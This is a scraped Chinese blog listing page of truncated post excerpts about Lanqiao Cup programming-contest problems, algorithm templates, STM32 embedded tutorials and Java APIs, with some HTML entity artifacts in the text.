本题要求编写一个解密英文藏头诗的程序。建议使用动态内存分配方法处理字符串的输入。 输入格式: 输入为一首英文藏头诗&#xff0c;每句一行&#xff0c;小于20行&#xff0c;每行不超过80个字符&#xff0c;以#作为藏头诗的输入结束标志。 输出格式: 取出每句的第一个字符…

蓝桥杯嵌入式省一教程:(三)按键扫描与定时器中断

在第一讲中曾经提到&#xff0c;GPIO有输入输出两种模式。在点亮LED时&#xff0c;我们已经使用了GPIO输出模式&#xff0c;在按键识别中&#xff0c;我们将要使用GPIO输入模式。首先来看看按键的电路原理图&#xff08;下图在选手资源数据包——CT117E-M4产品手册中&#xff0…

zblog调用文章代码案例

{foreach GetList(文章数量,分类ID,null,null,null,null,array(has_subcate > true))

蓝桥杯嵌入式(G4系列):定时器捕获

前言&#xff1a; 定时器的三大功能还剩下最后一个捕获&#xff0c;而这在蓝桥杯嵌入式开发板上也有555定时器可以作为信号发生器供定时器来测量。 原理图部分&#xff1a; 开发板上集成了两个555定时器&#xff0c;一个通过跳线帽跟PA15相连&#xff0c;最终接到了旋钮R40上&…

2022蓝桥杯省赛——修剪灌木

问题描述 爱丽丝要完成一项修剪灌木的工作。 有 N 棵灌木整齐的从左到右排成一排。爱丽丝在每天傍晩会修剪一棵灌木, 让灌木的高度变为 0 厘米。爱丽丝修剪灌木的顺序是从最左侧的灌木开始, 每天向右修剪一棵灌木。当修剪了最右侧的灌木后, 她会调转方向, 下一天开始向左修剪…

第十四届蓝桥杯java真题

第十四届 蓝桥杯java组备赛考纲解读 技巧 查找 深搜宽搜 DFS 动态规划 数论 暴力枚举 官网还没出题目,最新做题网址: 2023年第十四届蓝桥杯大赛软件类省赛Java大学B组真题 数组分割 当时看错了 以为有奇数就不行,原来是和为奇数不行 沃日!就这道题最简单还没看错了 这种错题…

母牛的故事 -蓝桥杯算法题

题目描述 有一头母牛&#xff0c;它每年年初生一头小母牛。每头小母牛从第四个年头开始&#xff0c;每年年初也生一头小母牛。请编程实现在第n年的时候&#xff0c;共有多少头母牛&#xff1f; 这个题我做了许久都没有解答出来&#xff0c;主要是思路错了。我一直在考虑这一年…

蓝桥杯常用算法模板---基础篇

写在前面&#xff1a;距离蓝桥杯省赛还有不到半月&#xff0c;个人整理一些常用算法&#xff0c;分享给大家。 最小公倍数gcd、最大公约数lcm public class LeastCommonMultiple {//使用欧几里得算法求解数m和数n最大公约数public int getGcd(int m,int n){while(n > 0){i…

历届试题 翻硬币 (蓝桥杯)

问题描述小明正在玩一个“翻硬币”的游戏。桌上放着排成一排的若干硬币。我们用 * 表示正面&#xff0c;用 o 表示反面&#xff08;是小写字母&#xff0c;不是零&#xff09;。比如&#xff0c;可能情形是&#xff1a;**oo***oooo如果同时翻转左边的两个硬币&#xff0c;则变为…

【蓝桥杯】日期+星期模拟

import java.util.Calendar;public class 日期_星期模拟 {public static void main(String[] args) {int[] days {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};int year 2023, month 5, day 6, week 7; // 2~7周一到周六&#xff0c;1为周日&#xff0c;这里是方…

蓝桥杯专题-试题版含答案-【字母统计】【计算球体积】【16进制的简单运算】【C小加随机数】

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

蓝桥杯15单片机--串口通信模块

目录 一、计算机常用通信方式 二、串口通信UART 三、串口通信寄存器 &#xff08;1&#xff09;串行口1控制寄存器SCON和PCON ​&#xff08;2&#xff09;串行口1数据缓冲器SBUF &#xff08;3&#xff09;串行口1辅助寄存器AUXR &#xff08;4&#xff09;串行口1中断…

蓝桥杯每日一题2023.11.3

题目描述 承压计算 - 蓝桥云课 (lanqiao.cn) 题目分析 将重量存入a中&#xff0c;每一层从上到下进行计算&#xff0c;用d进行计算列的重量&#xff0c;当前d的重量应为正上数组和右上数组的个半和并加上自身的重量 计算到30层记录最大最小值&#xff0c;进行比例运算即可 …

第十二届蓝桥杯c++b组国赛题解(还在持续更新中...)

试题A&#xff1a;带宽 解题思路&#xff1a; 由于小蓝家的网络带宽是200Mbps&#xff0c;即200Mb/s&#xff0c;所以一秒钟可以下载200Mb的内容&#xff0c;根据1B8b的换算规则&#xff0c;所以200Mb200/8MB25MB。所以小蓝家的网络理论上每秒钟最多可以从网上下载25MB的内容。…

蓝桥杯每日一题2023.11.6

取位数 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 由题意我们知道len中为现阶段长度&#xff0c;如果其与k相等也就是找到了正确的位数&#xff0c;否则就调用递归来进行搜索&#xff0c;每次搜索一位数。 #include <stdio.h> // 求x用10进制表示时的数位长度 int …

蓝桥杯学长经验笔记

平台&#xff1a;立扣&#xff0c;牛客网&#xff0c;蓝桥云课 &#xff0c;codeforce刷题时间&#xff1a;刷题时间&#xff1a; 每天&#xff1a;有课一个多小时 周末 3-4 小时&#xff1a;学一部分做一点题书&#xff1a;《算法竞赛从入门到进阶》、《算法笔记》、《算法竞赛…

随机选择算法(排序)

给定一个无序的数组&#xff0c;输入第n大&#xff0c;输出第n大的数。&#xff08;顺便排序&#xff09; #include <stdio.h> #include <math.h> #include <stdlib.h> #include <time.h> #define max 5int randpartition(int a[],int low, int high)…

计算最大销售增幅

目录 问题描述 程序设计 问题描述 【问题描述】 编写函数 maxIncrease,用于计算一个销售额序列中的最大销售增幅。这里的销售额都是非负整数。 对于给定的销售额序列 A,假设序列 A 的长度为 n( n >= 2 ),最大销售额增幅是指满足0 <= x <= y < n的A[y] - A…

蓝桥杯官网练习题(0的个数)

问题描述 给定一个正整数 n &#xff0c;请问 n 的十进制表示中末尾总共有几个 0 &#xff1f; 输入格式 输入一行包含一个正整数 n。 输出格式 输出一个整数&#xff0c;表示答案。 样例输入 20220000样例输出 4评测用例规模与约定 对于所有评测用例&#xff0c;1 &l…

蓝桥杯官网填空题(激光样式)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 X 星球的盛大节日为增加气氛&#xff0c;用 30 台机光器一字排开&#xff0c;向太空中打出光柱。 安装调试的时候才发现&#xff0c;不知什么原因&#xff0c;相邻…

【蓝桥杯 第十三届省赛Java B组】真题训练(A - F)

目录 A、星期计算 - BigInteger B、山 - 暴力判断 字符串 C、字符统计 - 简单哈希 D、最少刷题数 - 排序 思维 二分 分情况讨论 &#xff08;1&#xff09;&#xff08;错误&#xff09;自写哈希表 &#xff08;2&#xff09;正解 E、求阶乘 - 数学思维 二分 F、…

【科技素养】蓝桥杯STEMA 科技素养组模拟练习试卷C

单选题 1、A right triangle has a side that is 5cm long, and its hypotenuse is 13cm long.The area of the triangle is &#xff08;&#xff09;. A、30 cm2 B、60 cm2 C、65 cm2 D、32.5 cm2 答案&#xff1a;A 2、一位旅客安检后走在前往登机口的路上。路途中一部…

2021蓝桥杯真题最大间隙 C语言/C++

题目描述 给定一个序列 a 1 ≤a2 ≤⋯≤an 。其中 a 1 ≤a2 ≤⋯≤an 。 相邻两个数之间的差&#xff08;后一个数减前一个数&#xff09;称为它们的间隙。 请问序列中最大的间隙值是多少&#xff1f; 输入描述 输入的第一行包含一个整数 n&#xff0c;表示序列的长度。 第…

蓝桥杯官网填空题(换零钞)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 X 星球的钞票的面额只有&#xff1a;100 元&#xff0c;5 元&#xff0c;2 元&#xff0c;1 元&#xff0c;共 4 种。 小明去 X 星旅游&#xff0c;他手里只有 2 张…

P9232 [蓝桥杯 2023 省 A] 更小的数(区间DP)

求大数字某连续部分反转后&#xff0c;比原数字小的个数 思路&#xff1a;自前向后遍历 ai是位于数字第i位的数字 aj是位于数字第j位的数字&#xff08;i<j&#xff09; ai>aj f[ai][aj]1; ai<aj f[ai][aj]0; aiaj f[ai][aj]f…

【蓝桥杯-练习系统】P1103

问题描述 编程实现两个复数的运算。   要求&#xff1a;&#xff08;1&#xff09;定义一个结构体类型来描述复数。&#xff08;2&#xff09;复数之间的加法、减法、乘法和除法分别用不用的函数来实现。&#xff08;3&#xff09;必须使用结构体指针的方法把函数的计算结果…

算法竞赛中的常用JAVA API :Math类

Math类包含了一些常用的数学方法,在java.lang.*包内。 (不能用于大数类&#xff0c;大数类请参见备战蓝桥杯java&#xff08;五&#xff09;&#xff1a;算法竞赛中的常用API &#xff1a;大数类) 了解其他JAVA 常用API和算法点这里 >> https://blog.csdn.net/GD_ONE/art…

算法竞赛中的常用JAVA API :Calendar日期类

日期类摘要Calendar类常用的日历字段Calendar类的实例化设置特定日期获取当前Calender实例的字段信息增减时间了解其他JAVA 常用API和算法点这里 >> https://blog.csdn.net/GD_ONE/article/details/104061907 摘要 在蓝桥杯中有关于日期计算的问题&#xff0c;正好java…

Java编程(20)-StringBuilder

使用StringBuilder打印任意数组的内容&#xff1a; StringBuilder可变的字符串类&#xff0c;看做一个对象容器 作用&#xff1a;提高字符串的操作效率&#xff0c;拼接和修改。使用完之后需要恢复为String类型再输出。 public class StringBuilderDemo {public static void…

蓝桥杯物联网竞赛_STM32L071_3_Oled显示

地位&#xff1a; 对于任何一门编程语言的学习&#xff0c;print函数毫无疑问是一种最好的调试手段&#xff0c;调试者不仅能通过它获取程序变量的运行状态而且通过对其合理使用获取程序的运行流程&#xff0c;更能通过关键变量的输出帮你验证推理的正确与否&#xff0c;朴素的…

蓝桥杯刷题第九天

题目描述本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。素数就是不能再进行等分的整数。比如7&#xff0c;11。而 9 不是素数&#xff0c;因为它可以平分为 3 等份。一般认为最小的素数是2&#xff0c;接着是 3&#xff0c;5&…

<蓝桥杯软件赛>零基础备赛20周--第7周--栈和二叉树

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周&#xff08;读者可以按…

蓝桥杯每日一题2023.11.24

题目描述 #include <stdio.h> #define N 100int connected(int* m, int p, int q) {return m[p]m[q]? 1 : 0; }void link(int* m, int p, int q) {int i;if(connected(m,p,q)) return;int pID m[p];int qID m[q];for(i0; i<N; i) ________________________________…

【第十四届蓝桥杯单片机组客观题1】

第十四届蓝桥杯单片机组客观题1 以下客观题来自4T测评的模拟题&#xff0c;希望可以帮助到大家&#xff0c;加油丫 1、C 若希望将IAP15F2K61S2单片机的IO口输出电流能力较强&#xff0c;应将IO配置为&#xff08; &#xff09;模式。 A : 准双向IO B : 输入/高阻 C : 推挽输出 …

蓝桥杯C++组怒刷50道真题

&#x1f33c;深夜伤感网抑云 - 南辰Music/御小兮 - 单曲 - 网易云音乐 &#x1f33c;多年后再见你 - 乔洋/周林枫 - 单曲 - 网易云音乐 50题才停更&#xff0c;课业繁忙&#xff0c;有时间就更&#xff0c;2023/3/14/15:06写下 目录 &#x1f44a;填空题 &#x1f33c;一…

第十四届蓝桥杯三月真题刷题训练——第 17 天

目录 第 1 题&#xff1a;ASC 运行限制 代码&#xff1a; 第 2 题&#xff1a;递增三元组_双指针_long 输出描述 输入输出样例 运行限制 代码&#xff1a; 第 3 题&#xff1a;环境治理 代码&#xff1a; 第 4 题&#xff1a;小球称重 代码&#xff1a; 第 1 题&a…

OJ系统刷题 第一篇

1651 - 二维数组输出&#xff08;1&#xff09; 时间限制 : 1 秒 内存限制 : 128 MB 输入一个整数N&#xff0c;输出一个N行N列的二维矩阵&#xff0c;矩阵中的元素用1——N*N顺序填充。 输入 一个整数N&#xff08;N<10&#xff09; 输出 输出N行N列的矩阵&#xff0c;…

蓝桥杯每日一题203.11.7

题目描述 题目分析 使用dp思维&#xff0c;当前位置是否可行是有上一位置推来&#xff0c;计算出最大的可行位置即可 #include <stdio.h> #include <string.h>#define N 256 int f(const char* s1, const char* s2) {int a[N][N];int len1 strlen(s1);int len2 …

第十四届蓝桥杯大赛软件组国赛 Python大学A组 个人暴力题解

Powered by:NEFU AB-IN 文章目录 国赛 Python大学A组 个人暴力题解A思路代码 B思路代码 C思路代码 D思路代码 E思路代码 F思路代码 G思路代码 H思路代码 I思路代码 &#xff01;&#xff01;&#xff01;博主个人的暴力题解&#xff0c;基本很少是正解&#xff0c;求轻喷 &…

二分法(蓝桥杯必考模板保姆级教程)

目录 找左边界模板&#xff08;以找最后个小于的数为例&#xff09; 找右边界模板&#xff08;以找第一个大于的数为例&#xff09; 例题&#xff1a;递增三元组 1.排序加二分法 2.前缀和 3.暴力 必须多做题才能体会出二分法的细节之处 找左边界模板&#xff08;以找最后…

【蓝桥杯集训·最后一次周赛】AcWing 第 97 场周赛

文章目录第一题 AcWing 4944. 热身计算一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解第二题 AcWing 4945. 比大小一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解第三题 AcWing 4946. 叶子节点一、题目1、原…

②【Java 组】蓝桥杯省赛真题解析 [振兴中华] [三部排序] 持续更新中...

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 蓝桥杯真题--持续更新中...一、振兴中华二、三…

第八届蓝桥杯省赛——4承压计算(二维数组,嵌套循环)

题目&#xff1a;X星球的高科技实验室中整齐地堆放着某批珍贵金属原料。每块金属原料的外形、尺寸完全一致&#xff0c;但重量不同。金属材料被严格地堆放成金字塔形。7 5 8 7 8 8 9 2 7 2 8 1 4 9 1 8 1 8 8 4 1 7 9 6 1 4 5 4 5 6 5 5 6 9 5 6 5 5 4 7 9 3 5 5 1 7 5 7 9 7 4…

【蓝桥杯嵌入式】LCD屏的原理图解析与代码实现(第十三届省赛为例)——STM32

&#x1f38a;【蓝桥杯嵌入式】专题正在持续更新中&#xff0c;原理图解析✨&#xff0c;各模块分析✨以及历年真题讲解✨都在这儿哦&#xff0c;欢迎大家前往订阅本专题&#xff0c;获取更多详细信息哦&#x1f38f;&#x1f38f;&#x1f38f; &#x1fa94;本系列专栏 - 蓝…

用迭代算法求解斐波那契数列

目录 用迭代算法求解斐波那契数列 程序设计 程序分析 用迭代算法求解斐波那契数列 【问题描述】给定n,n小于90,打印出前n+1个斐波那契数。从第0个开始,即F(0)=0,F(1)=1,F(2)=1,... 【

python蓝桥杯基础练习17题

跟学链接&#xff1a;Python蓝桥杯真题——基础练习&#xff08;一&#xff09; 1.AB问题 资源限制 Python时间限制&#xff1a;5.0s 问题描述 输入A、B&#xff0c;输出AB。 输入格式 输入的第一行包括两个整数&#xff0c;由空格分隔&#xff0c;分别表示A、B。 输出格式 输出…

【蓝桥杯试题】 递归实现指数型枚举例题

&#x1f483;&#x1f3fc; 本人简介&#xff1a;男 &#x1f476;&#x1f3fc; 年龄&#xff1a;18 &#x1f91e; 作者&#xff1a;那就叫我亮亮叭 &#x1f4d5; 专栏&#xff1a;蓝桥杯试题 文章目录1. 题目描述2. 思路解释2.1 时间复杂度2.2 递归3. 代码展示最后&#x…

双指针算法+例题

适用范围 对于有范围控制的&#xff0c;需要进行移动&#xff0c;则可以通过前后俩个指针进行控制&#xff0c;即双指针。 例&#xff1a;日志统计&#xff08;第九届蓝桥杯省赛CB组&#xff09; 题目描述 小明维护着一个程序员论坛。现在他收集了一份"点赞"日志…

第十五届蓝桥杯省赛C++ A组浅析

&#xff08;仅个人看法&#xff0c;对错未知&#xff0c;可以当做口胡QAQ&#xff09;如有错误请大佬们指出&#xff0c;有更好做法欢迎留言&#xff01; A 幸运数 暴力判不多说了 B 有奖问答 看到很多搜的&#xff0c;提供一个dp做法 dp[i][j]表示前i道题&#xff0c;答对…

【蓝桥杯刷题训练营】day04

1 九数算式 #define _CRT_SECURE_NO_WARNINGS #include <iostream> using namespace std; void Swap(int* x, int* y) {int k *x;*x *y;*y k; } int main() {int tmp 0;int num 0;int count 0;int kmp 1;for (int a 1; a < 10; a){int arr[10] { 0,1,2,3,4,…

第六届省赛——8移动距离(总结规律)

题目&#xff1a;X星球居民小区的楼房全是一样的&#xff0c;并且按矩阵样式排列。其楼房的编号为1,2,3...当排满一行时&#xff0c;从下一行相邻的楼往反方向排号。比如&#xff1a;当小区排号宽度为6时&#xff0c;开始情形如下&#xff1a;1 2 3 4 5 612 11 10 9 8 713 14 1…

AcWing - 蓝桥杯集训每日一题(DAY 1——DAY 5)

文章目录一、AcWing 3956. 截断数组&#xff08;中等&#xff09;1. 实现思路2. 实现代码二、AcWing 3729. 改变数组元素&#xff08;中等&#xff09;1. 实现思路2. 实现代码三、AcWing 1460. 我在哪&#xff1f;&#xff08;简单&#xff09;1. 实现思路2. 实现代码四、AcWin…

前缀和例题

输入一个长度为n的整数序列。 接下来再输入m个询问&#xff0c;每个询问输入一对l, r。 对于每个询问&#xff0c;输出原序列中从第l个数到第r个数的和。 输入格式 第一行包含两个整数n和m。 第二行包含n个整数&#xff0c;表示整数数列。 接下来m行&#xff0c;每行包含两个整…

最长公共子序列问题(挑战程序设计竞赛)

给定两个字符串s_1s_2...s_ns1​s2​...sn​和t_1t_2...t_nt1​t2​...tn​.求出这两个字符串的最长公共子序列的长度。 输入 输入第一行有两个整数mm和nn,分别表示字符串ss和tt的长度,输入第二行和第三行分别表示字符串s和t.1 \leq n, m \leq 10001≤n,m≤1000. 输出 对于每…

P1027 [NOIP2001 提高组] Car 的旅行路线

题目描述 又到暑假了&#xff0c;住在城市 A 的 Car 想和朋友一起去城市旅游。 她知道每个城市都有 44 个飞机场&#xff0c;分别位于一个矩形的 44 个顶点上&#xff0c;同一个城市中两个机场之间有一条笔直的高速铁路&#xff0c;第 &#xfffd;i 个城市中高速铁路了的单位…

蓝桥杯第五天刷题

第一题&#xff1a;数的分解题目描述本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。把 2019 分解成 3 个各不相同的正整数之和&#xff0c;并且要求每个正整数都不包含数字 2和 4&#xff0c;一共有多少种不同的分解方法&…

蓝桥杯刷题冲刺 | 倒计时27天

作者&#xff1a;指针不指南吗 专栏&#xff1a;蓝桥杯倒计时冲刺 &#x1f43e;马上就要蓝桥杯了&#xff0c;最后的这几天尤为重要&#xff0c;不可懈怠哦&#x1f43e; 文章目录1.递增序列2.等差素数列3.七段码4.亲戚5.连通块中点的数量1.递增序列 题目 链接&#xff1a;&am…

【蓝桥杯Web】第十四届蓝桥杯(Web 应用开发)模拟赛 2 期 | 精品题解

&#x1f9d1;‍&#x1f4bc; 个人简介&#xff1a;一个不甘平庸的平凡人&#x1f36c; &#x1f5a5;️ 蓝桥杯专栏&#xff1a;蓝桥杯题解/感悟 &#x1f5a5;️ TS知识总结&#xff1a;十万字TS知识点总结 &#x1f449; 你的一键三连是我更新的最大动力❤️&#xff01; &…

【蓝桥杯2020】七段码

【题目描述】 七段码 HUSTOJ 题目导出文件 [蓝桥杯2020] 第十一届蓝桥杯第二次省赛—填空题E题 七段码 小蓝要用七段码数码管来表示一种特殊的文字。 上图给出了七段码数码管的一个图示&#xff0c;数码管中一共有 7 段可以发光的二 极管&#xff0c;分别标记为 a, b, c,…

蓝桥杯2018年真题-交换次数

知识点&#xff1a;无穷大的定义0x3f3f3f3f0x3f3f3f3f是什么意思&#xff1f;&#xff1f;&#xff1f;为什么无穷大总是0x3f3f3f3f而不是0x7fffffff?题目&#xff1a;IT产业人才需求节节攀升。业内巨头百度、阿里巴巴、腾讯&#xff08;简称BAT&#xff09;在某海滩进行招聘活…

【洛谷刷题】蓝桥杯专题突破-深度优先搜索-dfs(1)

目录 写在前面&#xff1a; 题目&#xff1a;P1036 [NOIP2002 普及组] 选数 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 题目描述&#xff1a; 输入格式&#xff1a; 输出格式&#xff1a; 输入样例&#xff1a; 输出样例&#xff1a; 解题思路&#xff1a; 代码&…

第十三届蓝桥杯省赛 C++ C 组 E 题、Python B组 D题、PythonC组 D 题—— 数位排序(AC)

1.数位排序 1.题目描述 小蓝对一个数的数位之和很感兴趣, 今天他要按照数位之和给数排序。当 两个数各个数位之和不同时, 将数位和较小的排在前面, 当数位之和相等时, 将数值小的排在前面。 例如, 2022 排在 409 前面, 因为 2022 的数位之和是 6, 小于 409 的数位 之和 13 。…

[NOIP2003 普及组] 乒乓球

题目[NOIP2003 普及组] 乒乓球题目背景国际乒联现在主席沙拉拉自从上任以来就立志于推行一系列改革&#xff0c;以推动乒乓球运动在全球的普及。其中 11 1111 分制改革引起了很大的争议&#xff0c;有一部分球员因为无法适应新规则只能选择退役。华华就是其中一位&#xff0c;他…

蓝桥杯嵌入式第二篇配置按键

文章目录前言一、原理图查看二、cubeMX配置三、代码讲解(使用按键控制LED灯的开关)四、HAL_Delay的内部实现五.遗留的问题总结前言 点完灯后接下来我们就开始按键的学习了&#xff0c;这也是很简单的&#xff0c;大家不用担心。 一、原理图查看 可以看到板子上面是有4个按键…

蓝桥杯·3月份刷题集训Day06

本篇博客旨在记录自已打卡蓝桥杯3月份刷题集训&#xff0c;同时会有自己的思路及代码解答希望可以给小伙伴一些帮助。本人也是算法小白&#xff0c;水平有限&#xff0c;如果文章中有什么错误之处&#xff0c;希望小伙伴们可以在评论区指出来&#xff0c;共勉&#x1f4aa;。 文…

【蓝桥杯-筑基篇】动态规划

&#x1f353;系列专栏:蓝桥杯 &#x1f349;个人主页:个人主页 目录 1.最大连续子段和 2.LCS 最大公共子序列 3.LIS 最长上升子序列 4.数塔 5.最大子矩阵和 6.背包问题 ①01背包问题 ②完全背包 1.最大连续子段和 这段代码是一个求最大子数组和的算法&#xff0c;使用…

第十三届蓝桥杯 C++ B组省赛 C 题——刷题统计(AC)

1.刷题统计 1.题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天 做 aaa 道题目, 周六和周日每天做 bbb 道题目。请你帮小明计算, 按照计划他将在 第几天实现做题数大于等于 nnn 题? 2.输入格式 输入一行包含三个整数 a,ba,ba,b 和 nnn. 3.输出…

【蓝桥杯嵌入式】第十三届蓝桥杯嵌入式国赛程序设计试题以及详细题解

文章目录原题展示原题分析详细题解LED模块按键模块串口LCD模块模拟电压读取(ADC)脉冲输入输出文章福利原题展示 原题分析 本届国赛试题主要包含LCD、LED、按键、EEPROM、串口、模拟电压输入、脉冲输入输出七大部分&#xff0c;其中前面三个部分是蓝桥杯嵌入式的“亲儿子”(必考…

贪心算法-蓝桥杯

一、贪心算法的优缺点优点&#xff1a;1.容易理解:生活常见。2.操作简单:在每一步都选局部最优。3.效率高: 复杂度常常是O(1)的。缺点&#xff1a;1.局部最优不一定是全局最优。二、例子: 最少硬币问题硬币面值1、2、5。支付13元&#xff0c;要求硬币数量最少。贪心法: (1) 5元…

矩阵的应用

Z形打印二维数组 package 矩阵;/*** author: DreamCode* file: Z形打印二维数组.java* time: 2022年3月9日-下午4:28:21* 思路: 模拟遍历*/ public class Z形打印二维数组 {/*** z字形打印矩阵*/public static void main(String[] args) {int[][] matrix {{1, 2, 3, 4},{5, 6…

递归与二分法的应用

a的n次幂 package 递归算法;/*** author: DreamCode* file: a的n次幂.java* time: 2022年2月25日-下午3:18:22* 思路: a的10次方a的1次方*a的2次方*a的4次方*a的3次方*/ public class a的n次幂 {public static void main(String[] args) {int a 2;int n20;int res pow(a,n);…

第十二届蓝桥杯省赛Java-大学B组解析

A:ASC package 第12届;import java.util.Scanner;/*** author: DreamCode* file: C_直线.java* time: 2022年2月10日-上午11:37:43*/ class A_ASC {public static void main(String[] args) {int a L;System.out.println(a);//答案 76}}B:卡片 package 第12届;import java.uti…

简单字符串

目录 一、前言 二、字符串处理 三、例题 1、单词分析&#xff08;lanqiaoOJ 504题&#xff09; 2、标题统计&#xff08;lanqiaoOJ题号325&#xff09; 3、罗马数字&#xff08;lanqiaoOJ题号276&#xff09; 4、删除字符&#xff08;lanqiaoOJ题号544&#xff09; 5、…

【从0到1冲刺蓝桥杯国赛】每日一练——丑数Ⅱ

丑数Ⅱhttps://leetcode-cn.com/problems/ugly-number-ii/ 题目描述&#xff1a; 给你一个整数 n &#xff0c;请你找出并返回第 n 个 丑数 。 丑数 就是只包含质因数 2、3 和/或 5 的正整数。 思路分析&#xff1a; 最小堆实现&#xff1a; class Solution { public:int n…

【蓝桥杯每日一题】双指针算法

&#x1f34e; 博客主页&#xff1a;&#x1f319;披星戴月的贾维斯 &#x1f34e; 欢迎关注&#xff1a;&#x1f44d;点赞&#x1f343;收藏&#x1f525;留言 &#x1f347;系列专栏&#xff1a;&#x1f319; 蓝桥杯 &#x1f319;我与杀戮之中绽放&#xff0c;亦如黎明的花…

蓝桥杯 小数第n位 问题的几种解法

蓝桥杯 小数第n位 问题的几种解法题目描述解法1.根据手动计算除法的过程题目描述 我们知道&#xff0c;整数做除法时&#xff0c;有时得到有限小数&#xff0c;有时得到无限循环小数。 如果我们把有限小数的末尾加上无限多个 0&#xff0c;它们就有了统一的形式。 本题的任务是…

C++初阶入门

文章目录C语法1、命名空间2、命名空间的用法3、C的输入、输出4、缺省 / 默认参数5、函数重载6、编译链接的过程7、了解引用“ & ”7、引用的两个作用8、指针与引用的区别9、内联函数10、宏定义的检测方法11、AUTO关键词C语法 1、命名空间 在同一个作用域里面&#xff0c;…

蓝桥杯每日一练——路径总和

路径总和https://leetcode-cn.com/problems/path-sum/ 题目描述&#xff1a; 给你二叉树的根节点 root 和一个表示目标和的整数 targetSum 。判断该树中是否存在 根节点到叶子节点 的路径&#xff0c;这条路径上所有节点值相加等于目标和 targetSum 。如果存在&#xff0c;返回…

蓝桥杯每日一练——左叶子之和

左叶子之和https://leetcode-cn.com/problems/sum-of-left-leaves/ 题目描述&#xff1a; 给定二叉树的根节点 root &#xff0c;返回所有左叶子之和。 思路分析&#xff1a; 首先要知道什么是左叶子结点&#xff0c;也就是它再也没有左子树也没有右子树&#xff0c;也就知道…

蓝桥杯每日一练——最长递增子序列(动态规划)

最长递增子序列https://leetcode-cn.com/problems/longest-increasing-subsequence/ 题目描述&#xff1a; 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 class Solution { public:int lengthOfLIS(vector<int>& nums) {int n (int)nu…

2023蓝桥杯省模拟赛——滑行

问题描述 小蓝准备在一个空旷的场地里面滑行&#xff0c;这个场地的高度不一&#xff0c;小蓝用一个 n 行 m 列的矩阵来表示场地&#xff0c;矩阵中的数值表示场地的高度。 如果小蓝在某个位置&#xff0c;而他上、下、左、右中有一个位置的高度&#xff08;严格&#xff09;…

蓝桥杯2022年第十三届决赛真题-出差

题目描述 A 国有 N 个城市&#xff0c;编号为 1 . . . N。小明是编号为 1 的城市中一家公司的员工&#xff0c;今天突然接到了上级通知需要去编号为 N 的城市出差。 由于疫情原因&#xff0c;很多直达的交通方式暂时关闭&#xff0c;小明无法乘坐飞机直接从城市 1 到达城市 N&a…

2023.05.20青少年软件编程(Python)等级考试试卷(四级)

2023.05.20青少年软件编程(Python)等级考试试卷(四级) 一、单选题(共25题,共50分) 1.下列程序段的运行结果是?(A) def s(n): if n==0: return 1 else: return n +s(n-1) print(s(7)) A. 29 B. 27 C. 1 D. 0 2.当n为6时,运行下列Pyth…

【C语言】关于 联合体(共用体)(实例分析)

开门见山的说&#xff1a; 目录 联合体&#xff08;共用体&#xff09; 定义一个联合体 计算联合体内存大小 联合体&#xff08;共用体&#xff09; 联合也是一种特殊的自定义类型 这种类型定义的变量也包含一系列的成员&#xff0c;特征是这些成员公用同一块空间&#xff…

蓝桥杯 交换瓶子

原题链接&#xff1a;1224. 交换瓶子 - AcWing题库https://www.acwing.com/problem/content/1226/ 看过我博客的读者对这题应该有些眼熟&#xff0c;没错&#xff01;不久前我刚写过小朋友排队的题解&#xff0c;这道题是不是很像呢&#xff0c;也是跟逆序对有关系&#xff0c…

python蓝桥杯基础练习vip17题

可学&#xff1a; Python蓝桥杯易错点整理和心得总结【一】 2021年第十二届蓝桥杯大赛省赛python大学组真题加解析&#xff08;更新中&#xff09; [蓝桥杯Python]算法练习、算法基础、算法训练、算法模板&#xff08;持续更新&#xff09; 必学&#xff1a; 蓝桥杯试题及答案分…

【递增三元组】蓝桥杯第九届C++B组F题

题目描述&#xff1a; 解法一、暴力&#xff08;超时&#xff09; 代码&#xff08;部分超时&#xff09;&#xff1a; #include <iostream> #include <cstring> #include <algorithm> #include <cstdio> using namespace std;const int N 10010; int…

蓝桥杯—stm32g431rbt6串口中断和定时器输出pwm学习

目录 串口中断 定时器中断 输出pwm 串口中断 配置异步模式&#xff0c;使能中断&#xff0c;选择波特率。 串口接收中断开启 HAL_UART_Receive_IT(&huart1,data, 3); 回调函数&#xff1a; void HAL_UART_RxCpltCallback(UART_HandleTypeDef *huart) { if(huar…

求根号n下界

目录 求根号n 程序设计 程序分析 求根号n 【问题描述】设计一个计算的算法,n是任意正整数。 除了赋值和比较运算,该算法只能用到基本的四则运算操作。 【输入形式】输入一个正整数 【输出形式】输出答案 【样例输入】10 【样例输出】3 【样例说明】表示对n开平方后向…

天梯赛 L1-026 I Love GPLT (5 分) 简单易懂

这道超级简单的题目没有任何输入。 你只需要把这句很重要的话 —— “I Love GPLT”——竖着输出就可以了。 所谓“竖着输出”&#xff0c;是指每个字符占一行&#xff08;包括空格&#xff09;&#xff0c;即每行只能有1个字符和回车。 输入样例&#xff1a; 无 结尾无空…

天梯赛 L1-004 计算摄氏温度 (5 分)

